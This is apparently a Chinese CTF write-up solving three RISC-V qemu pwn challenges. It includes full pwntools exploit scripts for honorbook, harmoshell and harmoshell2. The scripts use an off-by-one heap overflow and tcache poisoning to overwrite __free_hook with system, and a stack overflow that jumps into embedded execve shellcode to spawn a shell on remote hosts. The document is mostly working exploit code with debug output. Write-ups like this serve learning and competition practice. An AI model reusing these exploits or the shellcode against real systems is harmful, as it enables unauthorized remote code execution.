更新中…没有一道题是看出洞来,因为没工具不会看,全是手测然后调出来的…
调试方法
gdb调试
file harmoshell
set architecture riscv:rv64
b free
target remote :1234
libc基址
此类qemu-user的题目,libc基址虽然不变,但其与qemu版本和操作系统环境二者均相关,以下libc基址为笔者本机测得:
$ uname -a
Linux ubuntu 5.4.0-58-generic #64-Ubuntu SMP Wed Dec 9 08:16:25 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
$ qemu-riscv64 --version
qemu-riscv64 version 5.1.92
Copyright (c) 2003-2020 Fabrice Bellard and the QEMU Project developers
除了利用漏洞泄露出来,也可调试获得:
堆地址
断到free上,看寄存器即可找到堆地址
qemu-user总结
honorbook
- 漏洞:添加数据时存在off-by-one,可以溢出下一个堆块的size
- 利用:即可构造overlap,覆盖位于tcache中堆块的fd,然后两次malloc即可任意地址写,最后写__free_hook为system即可getshell
题目附件:honorbook.zip
from pwn import *
context(log_level='debug')
myelf = ELF("./honorbook")
#io = process(['qemu-riscv64','-g','1234','-L','./libs','./honorbook'])
io = process(['qemu-riscv64','-L','./libs','./honorbook'])
#io = remote("121.36.192.114",9999)
sla = lambda delim,data : (io.sendlineafter(delim, data))
add = lambda idx,name,data : (sla(": ","1") , sla(": ",str(idx)), sla(": ",name),sla(": ",data))
free = lambda idx : (sla(": ","2") , sla(": ",str(idx)))
show = lambda idx : (sla(": ","3") , sla(": ",str(idx)))
libc = 0x400099b000 # local libc
#libc = 0x4000986000 # remote libc
free_hook = 0x109838 + libc
system = 0x0388fe + libc
def leak():
for i in range(9): add(i,'','')
for i in range(9): free(i)
for i in range(9): add(i,'','a'*11)
#for i in range(9): add(i,'','a'*7)
show(7); io.interactive()
def aaw(addr,data):
add(0,'','')
add(1,'','')
free(0)
add(0,'','\xf1'*0xe9) # off by one overflow to node1 chunk size, from 0x31 to 0xf1
free(1) # free two 0xf1 chunks to tcache, the first overlaps the second
add(2,'',b'a'*0x30+p64(addr)) # get the first 0xf1 chunk and overflow to next chunk fd
add(3,'','') # get the next 0xf1 chunk and leave the fake fd to tache chains
add(4,'',data) # get the fake tcache chunk and write data
def attack():
aaw(free_hook,p64(system)) # modify free_hook to system
add(10,'/bin/sh','') # add a chunk has /bin/sh
free(10) # system('/bin/sh')
io.interactive()
attack()
[DEBUG] Received 0xa bytes:
'Username: '
Username: [DEBUG] Received 0x1b bytes:
00000000 0a 66 02 0a 4d 73 67 3a 20 61 61 61 61 61 61 61 │·f··│Msg:│ aaa│aaaa│
00000010 0a f8 d9 a8 0a 43 6f 64 65 3a 20 │····│·Cod│e: │
0000001b
f
Msg: aaaaaaa
�٨
[DEBUG] Received 0xa bytes:
'Username: '
Username: [DEBUG] Received 0x1d bytes:
00000000 0a 66 02 0a 4d 73 67 3a 20 61 61 61 61 61 61 61 │·f··│Msg:│ aaa│aaaa│
00000010 61 61 61 61 0a 40 0a 43 6f 64 65 3a 20 │aaaa│·@·C│ode:│ │
0000001d
f
Msg: aaaaaaaaaaa
@
harmoshell
- 漏洞:使用echo对一个不存在的文件写,内容部分会触发栈溢出
- 利用:堆地址不变,堆内容可控,ret2shellcode
from pwn import *
context(log_level='debug')
io = remote('121.37.222.236', 9999)
#io = process(['qemu-riscv64','-g','1234','-L','./libs','./harmoshell'])
#io = process(['qemu-riscv64','-L','./libs','./harmoshell'])
# http://shell-storm.org/shellcode/files/shellcode-908.php
shellcode = b'\x01\x11\x06\xec\x22\xe8\x13\x04'
shellcode += b'\x21\x02\xb7\x67\x69\x6e\x93\x87'
shellcode += b'\xf7\x22\x23\x30\xf4\xfe\xb7\x77'
shellcode += b'\x68\x10\x33\x48\x08\x01\x05\x08'
shellcode += b'\x72\x08\xb3\x87\x07\x41\x93\x87'
shellcode += b'\xf7\x32\x23\x32\xf4\xfe\x93\x07'
shellcode += b'\x04\xfe\x01\x46\x81\x45\x3e\x85'
shellcode += b'\x93\x08\xd0\x0d\x93\x06\x30\x07'
shellcode += b'\x23\x0e\xd1\xee\x93\x06\xe1\xef'
shellcode += b'\x67\x80\xe6\xff'
sla = lambda delim,data : (io.sendlineafter(delim, data))
sl = lambda data : (io.sendline(data))
touch = lambda name : (sla('$ ', 'touch '+name))
echo = lambda name,data : (sla('$ ', 'echo >> '+name),sleep(0.1),sl(data))
rm = lambda name : (sla('$ ', 'rm '+name))
new = lambda name,data : (touch(name),echo(name,data))
new ("1",b'a'*8 + shellcode)
echo("2",b'a'*312 + p64(0x25f10))
io.interactive()
harmoshell2
- 漏洞:echo对已有文件进行追加写,可以触发堆溢出
- 利用:溢出一个free到tcache中堆块的fd,然后两次malloc即可任意地址写,最后写__free_hook为system即可getshell
from pwn import *
context(log_level='debug')
#io = process(['qemu-riscv64','-g','1234','-L','./libs','./harmoshell2'])
#io = process(['qemu-riscv64','-L','./libs','./harmoshell2'])
#libc = 0x400099b000 # local libc
io = remote("139.159.132.55",9999)
libc = 0x4000986000 # remote libc
free_hook = 0x109838 + libc
system = 0x0388fe + libc
sla = lambda delim,data : (io.sendlineafter(delim, data))
sl = lambda data : (io.sendline(data))
touch = lambda name : (sla('$ ', 'touch '+name))
echo = lambda name,data : (sla('$ ', 'echo >> '+name),sleep(0.1),sl(data))
rm = lambda name : (sla('$ ', 'rm '+name))
new = lambda name,data : (touch(name),echo(name,data))
def aaw(addr,data):
new ('1',b'a'*0xc0)
touch("2");touch("3")
rm ("3");rm ("2")
echo ("1",b'a'*(0x107-0xc0)+p64(0x31)+p64(0)*6+p64(addr))
touch("4")
new ("5",data)
aaw(free_hook,p64(system))
new("6","$0");rm("6")
io.interactive()